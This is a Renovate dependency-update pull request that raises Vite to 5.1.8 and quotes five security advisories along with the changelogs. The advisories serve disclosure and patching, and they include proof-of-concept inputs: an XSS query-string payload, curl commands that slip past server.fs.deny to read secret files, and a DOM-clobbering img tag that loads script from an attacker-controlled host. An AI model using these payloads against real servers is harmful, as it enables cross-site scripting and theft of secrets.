chore(deps): update dependency vite to v5.1.8 [security] #99

renovate · 2024-02-25T10:16:45Z

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
vite (source)	`5.0.4` -> `5.1.8`

GitHub Vulnerability Alerts

CVE-2023-49293

Summary

When Vite's HTML transformation is invoked manually via server.transformIndexHtml, the original request URL is passed in unmodified, and the html being transformed contains inline module scripts (<script type="module">...</script>), it is possible to inject arbitrary HTML into the transformed output by supplying a malicious URL query string to server.transformIndexHtml.

Impact

Only apps using appType: 'custom' and using the default Vite HTML middleware are affected. The HTML entry must also contain an inline script. The attack requires a user to click on a malicious URL while running the dev server. Restricted files aren't exposed to the attacker.

Patches

Fixed in [email protected], [email protected], [email protected]

Details

Suppose index.html contains an inline module script:

<script type="module">
  // Inline script
</script>

This script is transformed into a proxy script like

<script type="module" src="/index.html?html-proxy&index=0.js"></script>

due to Vite's HTML plugin:

https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/packages/vite/src/node/plugins/html.ts#L429-L465

When appType: 'spa' | 'mpa', Vite serves HTML itself, and htmlFallbackMiddleware rewrites req.url to the canonical path of index.html,

https://github.com/vitejs/vite/blob/73ef074b80fa7252e0c46a37a2c94ba8cba46504/packages/vite/src/node/server/middlewares/htmlFallback.ts#L44-L47

so the url passed to server.transformIndexHtml is /index.html.

However, if appType: 'custom', HTML is served manually, and if server.transformIndexHtml is called with the unmodified request URL (as the SSR docs suggest), then the path of the transformed html-proxy script varies with the request URL. For example, a request with path / produces

<script type="module" src="/@&#8203;id/__x00__/index.html?html-proxy&index=0.js"></script>

It is possible to abuse this behavior by crafting a request URL to contain a malicious payload like

"></script><script>alert('boom')</script>

so a request to http://localhost:5173/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E produces HTML output like

<script type="module" src="/@&#8203;id/__x00__/?"></script><script>alert("boom")</script>?html-proxy&index=0.js"></script>

which demonstrates XSS.

PoC

Example 1. Serving HTML from vite dev middleware with appType: 'custom'
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev-html
- "Open in New Tab"
- Edit URL to set query string to ?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E and navigate
- Witness XSS:
Example 2. Serving HTML from SSR-style Express server (Vite dev server runs in middleware mode):
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=server
- (Same steps as above)
Example 3. Plain vite dev (this shows that vanilla vite dev is not vulnerable, provided htmlFallbackMiddleware is used)
- Go to https://stackblitz.com/edit/vitejs-vite-9xhma4?file=main.js&terminal=dev
- (Same steps as above)
- You should not see the alert box in this case

Detailed Impact

This will probably predominantly affect development-mode SSR, where vite.transformHtml is called using the original req.url, per the docs:

https://github.com/vitejs/vite/blob/7fd7c6cebfcad34ae7021ebee28f97b1f28ef3f3/docs/guide/ssr.md?plain=1#L114-L126

However, since this vulnerability affects server.transformIndexHtml, the scope of impact may be higher to also include other ad-hoc calls to server.transformIndexHtml from outside of Vite's own codebase.

My best guess at bisecting which versions are vulnerable involves the following test script

import fs from 'node:fs/promises';
import * as vite from 'vite';

const html = `
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
  </head>
  <body>
    <script type="module">
      // Inline script
    </script>
  </body>
</html>
`;
const server = await vite.createServer({ appType: 'custom' });
const transformed = await server.transformIndexHtml('/?%22%3E%3C/script%3E%3Cscript%3Ealert(%27boom%27)%3C/script%3E', html);
console.log(transformed);
await server.close();

and using it I was able to narrow down to #13581. If this is correct, then vulnerable Vite versions are 4.4.0-beta.2 and higher (which includes 4.4.0).

CVE-2024-23331

Summary

Vite dev server option server.fs.deny can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows.

This bypass is similar to https://nvd.nist.gov/vuln/detail/CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems.

Patches

Fixed in [email protected], [email protected], [email protected], [email protected]

Details

Since picomatch defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible.

See picomatch usage, where nocase is defaulted to false: https://github.com/vitejs/vite/blob/v5.1.0-beta.1/packages/vite/src/node/server/index.ts#L632

By requesting raw filesystem paths using augmented casing, the matcher derived from config.server.fs.deny fails to block access to sensitive files.

PoC

Setup

Created vanilla Vite project using npm create vite@latest on a Standard Azure hosted Windows 10 instance.
- npm run dev -- --host 0.0.0.0
- Publicly accessible for the time being here: http://20.12.242.81:5173/
Created dummy secret files, e.g. custom.secret and production.pem
Populated vite.config.js with

export default { server: { fs: { deny: ['.env', '.env.*', '*.{crt,pem}', 'custom.secret'] } } }

Reproduction

curl -s http://20.12.242.81:5173/@fs//
- Descriptive error page reveals absolute filesystem path to project root
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/vite.config.js
- Discoverable configuration file reveals locations of secrets
curl -s http://20.12.242.81:5173/@fs/C:/Users/darbonzo/Desktop/vite-project/custom.sEcReT
- Secrets are directly accessible using case-augmented version of filename

Proof

Impact

Who

Users with exposed dev servers on environments with case-insensitive filesystems

What

Files protected by server.fs.deny are both discoverable, and accessible

CVE-2024-31207

Summary

Vite dev server option server.fs.deny did not deny requests for patterns with directories. An example of such a pattern is /foo/**/*.

Impact

Only apps setting a custom server.fs.deny that includes a pattern with directories, and explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Patches

Fixed in [email protected], [email protected], [email protected], [email protected], [email protected], [email protected]

Details

server.fs.deny uses picomatch with the config of { matchBase: true }. matchBase only matches the basename of the file, not the path due to a bug (https://github.com/micromatch/picomatch/issues/89). The vite config docs read like you should be able to set fs.deny to glob with picomatch. Vite also does not set { dot: true } and that causes dotfiles not to be denied unless they are explicitly defined.

Reproduction

Set fs.deny to ['**/.git/**'] and then curl for /.git/config.

with matchBase: true, you can get any file under .git/ (config, HEAD, etc).
with matchBase: false, you cannot get any file under .git/ (config, HEAD, etc).

CVE-2024-45811

Summary

The contents of arbitrary files can be returned to the browser.

Details

@fs denies access to files outside of Vite serving allow list. Adding ?import&raw to the URL bypasses this limitation and returns the file content if it exists.

PoC

$ npm create vite@latest
$ cd vite-project/
$ npm install
$ npm run dev

$ echo "top secret content" > /tmp/secret.txt

# expected behaviour
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt"

    <body>
      <h1>403 Restricted</h1>
      <p>The request url &quot;/tmp/secret.txt&quot; is outside of Vite serving allow list.

# security bypassed
$ curl "http://localhost:5173/@&#8203;fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...

CVE-2024-45812

Summary

We discovered a DOM Clobbering vulnerability in Vite when building scripts to cjs/iife/umd output format. The DOM Clobbering gadget in the module can lead to cross-site scripting (XSS) in web pages where scriptless attacker-controlled HTML elements (e.g., an img tag with an unsanitized name attribute) are present.

Note that, we have identified similar security issues in Webpack: GHSA-4vvj-4cpr-p986

Details

Backgrounds

DOM Clobbering is a type of code-reuse attack where the attacker first embeds a piece of non-script, seemingly benign HTML markups in the webpage (e.g. through a post or comment) and leverages the gadgets (pieces of js code) living in the existing javascript code to transform it into executable code. More for information about DOM Clobbering, here are some references:

[1] https://scnps.co/papers/sp23_domclob.pdf
[2] https://research.securitum.com/xss-in-amp4email-dom-clobbering/

Gadgets found in Vite

We have identified a DOM Clobbering vulnerability in Vite bundled scripts, particularly when the scripts dynamically import other scripts from the assets folder and the developer sets the build output format to cjs, iife, or umd. In such cases, Vite replaces relative paths starting with __VITE_ASSET__ using the URL retrieved from document.currentScript.

However, this implementation is vulnerable to a DOM Clobbering attack. The document.currentScript lookup can be shadowed by an attacker via the browser's named DOM tree element access mechanism. This manipulation allows an attacker to replace the intended script element with a malicious HTML element. When this happens, the src attribute of the attacker-controlled element is used as the URL for importing scripts, potentially leading to the dynamic loading of scripts from an attacker-controlled server.

const relativeUrlMechanisms = {
  amd: (relativePath) => {
    if (relativePath[0] !== ".") relativePath = "./" + relativePath;
    return getResolveUrl(
      `require.toUrl('${escapeId(relativePath)}'), document.baseURI`
    );
  },
  cjs: (relativePath) => `(typeof document === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath)})`,
  es: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', import.meta.url`
  ),
  iife: (relativePath) => getRelativeUrlFromDocument(relativePath),
  // NOTE: make sure rollup generate `module` params
  system: (relativePath) => getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', module.meta.url`
  ),
  umd: (relativePath) => `(typeof document === 'undefined' && typeof location === 'undefined' ? ${getFileUrlFromRelativePath(
    relativePath
  )} : ${getRelativeUrlFromDocument(relativePath, true)})`
};

PoC

Considering a website that contains the following main.js script, the devloper decides to use the Vite to bundle up the program with the following configuration.

// main.js
import extraURL from './extra.js?url'
var s = document.createElement('script')
s.src = extraURL
document.head.append(s)

// extra.js
export default "https://myserver/justAnOther.js"

// vite.config.js
import { defineConfig } from 'vite'

export default defineConfig({
  build: {
    assetsInlineLimit: 0, // To avoid inline assets for PoC
    rollupOptions: {
      output: {
        format: "cjs"
      },
    },
  },
  base: "./",
});

After running the build command, the developer will get following bundle as the output.

// dist/index-DDmIg9VD.js
"use strict";const t=""+(typeof document>"u"?require("url").pathToFileURL(__dirname+"/extra-BLVEx9Lb.js").href:new URL("extra-BLVEx9Lb.js",document.currentScript&&document.currentScript.src||document.baseURI).href);var e=document.createElement("script");e.src=t;document.head.append(e);

Adding the Vite bundled script, dist/index-DDmIg9VD.js, as part of the web page source code, the page could load the extra.js file from the attacker's domain, attacker.controlled.server. The attacker only needs to insert an img tag with the name attribute set to currentScript. This can be done through a website's feature that allows users to embed certain script-less HTML (e.g., markdown renderers, web email clients, forums) or via an HTML injection vulnerability in third-party JavaScript loaded on the page.

<!DOCTYPE html>
<html>
<head>
  <title>Vite Example</title>
  <!-- Attacker-controlled Script-less HTML Element starts--!>
  <img name="currentScript" src="https://attacker.controlled.server/"></img>
  <!-- Attacker-controlled Script-less HTML Element ends--!>
</head>
<script type="module" crossorigin src="/assets/index-DDmIg9VD.js"></script>
<body>
</body>
</html>

Impact

This vulnerability can result in cross-site scripting (XSS) attacks on websites that include Vite-bundled files (configured with an output format of cjs, iife, or umd) and allow users to inject certain scriptless HTML tags without properly sanitizing the name or id attributes.

Patch

// https://github.com/vitejs/vite/blob/main/packages/vite/src/node/build.ts#L1296
const getRelativeUrlFromDocument = (relativePath: string, umd = false) =>
  getResolveUrl(
    `'${escapeId(partialEncodeURIPath(relativePath))}', ${
      umd ? `typeof document === 'undefined' ? location.href : ` : ''
    }document.currentScript && document.currentScript.tagName.toUpperCase() === 'SCRIPT' && document.currentScript.src || document.baseURI`,
  )

Release Notes

vitejs/vite (vite)

`v5.1.8`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.1.7`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.1.6`

Compare Source

chore(deps): update all non-major dependencies (#16131) (a862ecb), closes #16131
fix: check for publicDir before checking if it is a parent directory (#16046) (b6fb323), closes #16046
fix: escape single quote when relative base is used (#16060) (8f74ce4), closes #16060
fix: handle function property extension in namespace import (#16113) (f699194), closes #16113
fix: server middleware mode resolve (#16122) (8403546), closes #16122
fix(esbuild): update tsconfck to fix bug that could cause a deadlock (#16124) (fd9de04), closes #16124
fix(worker): hide "The emitted file overwrites" warning if the content is same (#16094) (60dfa9e), closes #16094
fix(worker): throw error when circular worker import is detected and support self referencing worker (eef9da1), closes #16103
style(utils): remove null check (#16112) (0d2df52), closes #16112
refactor(runtime): share more code between runtime and main bundle (#16063) (93be84e), closes #16063

`v5.1.5`

Compare Source

fix: __vite__mapDeps code injection (#15732) (aff54e1), closes #15732
fix: analysing build chunk without dependencies (#15469) (bd52283), closes #15469
fix: import with query with imports field (#16085) (ab823ab), closes #16085
fix: normalize literal-only entry pattern (#16010) (1dccc37), closes #16010
fix: optimizeDeps.entries with literal-only pattern(s) (#15853) (49300b3), closes #15853
fix: output correct error for empty import specifier (#16055) (a9112eb), closes #16055
fix: upgrade esbuild to 0.20.x (#16062) (899d9b1), closes #16062
fix(runtime): runtime HMR affects only imported files (#15898) (57463fc), closes #15898
fix(scanner): respect experimentalDecorators: true (#15206) (4144781), closes #15206
revert: "fix: upgrade esbuild to 0.20.x" (#16072) (11cceea), closes #16072
refactor: share code with vite runtime (#15907) (b20d542), closes #15907
refactor(runtime): use functions from pathe (#16061) (aac2ef7), closes #16061
chore(deps): update all non-major dependencies (#16028) (7cfe80d), closes #16028

`v5.1.4`

Compare Source

perf: remove unnecessary regex s modifier (#15766) (8dc1b73), closes #15766
fix: fs cached checks disabled by default for yarn pnp (#15920) (8b11fea), closes #15920
fix: resolve directory correctly when fs.cachedChecks: true (#15983) (4fe971f), closes #15983
fix: srcSet with optional descriptor (#15905) (81b3bd0), closes #15905
fix(deps): update all non-major dependencies (#15959) (571a3fd), closes #15959
fix(watch): build watch fails when outDir is empty string (#15979) (1d263d3), closes #15979

`v5.1.3`

Compare Source

fix: cachedTransformMiddleware for direct css requests (#15919) (5099028), closes #15919
refactor(runtime): minor tweaks (#15904) (63a39c2), closes #15904
refactor(runtime): seal ES module namespace object instead of feezing (#15914) (4172f02), closes #15914

`v5.1.2`

Compare Source

fix: normalize import file path info (#15772) (306df44), closes #15772
fix(build): do not output build time when build fails (#15711) (added3e), closes #15711
fix(runtime): pass path instead of fileURL to isFilePathESM (#15908) (7b15607), closes #15908
fix(worker): support UTF-8 encoding in inline workers (fixes #12117) (#15866) (570e0f1), closes #12117 #15866
chore: update license file (#15885) (d9adf18), closes #15885
chore(deps): update all non-major dependencies (#15874) (d16ce5d), closes #15874
chore(deps): update dependency dotenv-expand to v11 (#15875) (642d528), closes #15875

`v5.1.1`

Compare Source

fix: empty CSS file was output when only .css?url is used (#15846) (b2873ac), closes #15846
fix: skip not only .js but also .mjs manifest entries (#15841) (3d860e7), closes #15841
chore: post 5.1 release edits (#15840) (9da6502), closes #15840

`v5.1.0`

Compare Source

chore: revert #15746 (#15839) (ed875f8), closes #15746 #15839
fix: pass customLogger to loadConfigFromFile (fix #15824) (#15831) (55a3427), closes #15824 #15831
fix(deps): update all non-major dependencies (#15803) (e0a6ef2), closes #15803
refactor: remove vite build --force (#15837) (f1a4242), closes #15837

`v5.0.13`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.0.12`

Compare Source

Please refer to CHANGELOG.md for details.

`v5.0.11`

Compare Source

fix: don't pretransform classic script links (#15361) (19e3c9a), closes #15361
fix: inject __vite__mapDeps code before sourcemap file comment (#15483) (d2aa096), closes #15483
fix(assets): avoid splitting , inside base64 value of srcset attribute (#15422) (8de7bd2), closes #15422
fix(html): handle offset magic-string slice error (#15435) (5ea9edb), closes #15435
chore(deps): update dependency strip-literal to v2 (#15475) (49d21fe), closes #15475
chore(deps): update tj-actions/changed-files action to v41 (#15476) (2a540ee), closes #15476

`v5.0.10`

Compare Source

fix: omit protocol does not require pre-transform (#15355) (d9ae1b2), closes #15355
fix(build): use base64 for inline SVG if it contains both single and double quotes (#15271) (1bbff16), closes #15271

`v5.0.9`

Compare Source

fix: htmlFallbackMiddleware for favicon (#15301) (c902545), closes #15301
fix: more stable hash calculation for depsOptimize (#15337) (2b39fe6), closes #15337
fix(scanner): catch all external files for glob imports (#15286) (129d0d0), closes #15286
fix(server): avoid chokidar throttling on startup (#15347) (56a5740), closes #15347
fix(worker): replace import.meta correctly for IIFE worker (#15321) (08d093c), closes #15321
feat: log re-optimization reasons (#15339) (b1a6c84), closes #15339
chore: temporary typo (#15329) (7b71854), closes #15329
perf: avoid computing paths on each request (#15318) (0506812), closes #15318
perf: temporary hack to avoid fs checks for /@react-refresh (#15299) (b1d6211), closes #15299

`v5.0.8`

Compare Source

perf: cached fs utils (#15279) (c9b61c4), closes #15279
fix: missing warmupRequest in transformIndexHtml (#15303) (103820f), closes #15303
fix: public files map will be updated on add/unlink in windows (#15317) (921ca41), closes #15317
fix(build): decode urls in CSS files (fix #15109) (#15246) (ea6a7a6), closes #15109 #15246
fix(deps): update all non-major dependencies (#15304) (bb07f60), closes #15304
fix(ssr): check esm file with normal file path (#15307) (1597170), closes #15307

`v5.0.7`

Compare Source

fix: suppress terser warning if minify disabled (#15275) (3e42611), closes #15275
fix: symbolic links in public dir (#15264) (ef2a024), closes #15264
fix(html): skip inlining icon and manifest links (#14958) (8ad81b4), closes #14958
chore: remove unneeded condition in getRealPath (#15267) (8e4655c), closes #15267
perf: cache empty optimizer result (#15245) (8409b66), closes #15245

`v5.0.6`

Compare Source

perf: in-memory public files check (#15195) (0f9e1bf), closes #15195
chore: remove unneccessary eslint-disable-next-line regexp/no-unused-capturing-group (#15247) (35a5bcf), closes #15247

`v5.0.5`

Compare Source

fix: emit vite:preloadError for chunks without deps (#15203) (d8001c5), closes #15203
fix: esbuild glob import resolve error (#15140) (676804d), closes #15140
fix: json error with position (#15225) (14be75f), closes #15225
fix: proxy html path should be encoded (#15223) (5b85040), closes #15223
fix(deps): update all non-major dependencies (#15233) (ad3adda), closes #15233
fix(hmr): don't consider CSS dep as a circular dep (#15229) (5f2cdec), closes #15229
feat: add '*.mov' to client.d.ts (#15189) (d93a211), closes #15189
feat(server): allow disabling built-in shortcuts (#15218) (7fd7c6c), closes #15218
chore: replace 'some' with 'includes' in resolveEnvPrefix (#15220) (ee12f30), closes #15220
chore: update the website url for homepage in package.json (#15181) (282bd8f), closes #15181
chore: update vitest to 1.0.0-beta.6 (#15194) (2fce647), closes #15194
refactor: make HMR agnostic to environment (#15179) (0571b7c), closes #15179
refactor: use dedicated regex methods (#15228) (0348137), closes #15228
perf: remove debug only prettifyUrl call (#15204) (73e971f), closes #15204
perf: skip computing sourceRoot in injectSourcesContent (#15207) (1df1fd1), closes #15207

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chore(deps): update dependency vite to v5.0.12 [security]

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renovate bot changed the title ~~chore(deps): update dependency vite to v5.0.12 [security]~~ chore(deps): update dependency vite to v5.0.13 [security] Apr 3, 2024

renovate bot changed the title ~~chore(deps): update dependency vite to v5.0.13 [security]~~ chore(deps): update dependency vite to v5.2.14 [security] Sep 17, 2024

renovate bot changed the title ~~chore(deps): update dependency vite to v5.2.14 [security]~~ chore(deps): update dependency vite to v5.0.13 [security] Sep 19, 2024

renovate bot changed the title ~~chore(deps): update dependency vite to v5.0.13 [security]~~ chore(deps): update dependency vite to v5.1.8 [security] Sep 19, 2024

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chore(deps): update dependency vite to v5.1.8 [security] #99

chore(deps): update dependency vite to v5.1.8 [security] #99

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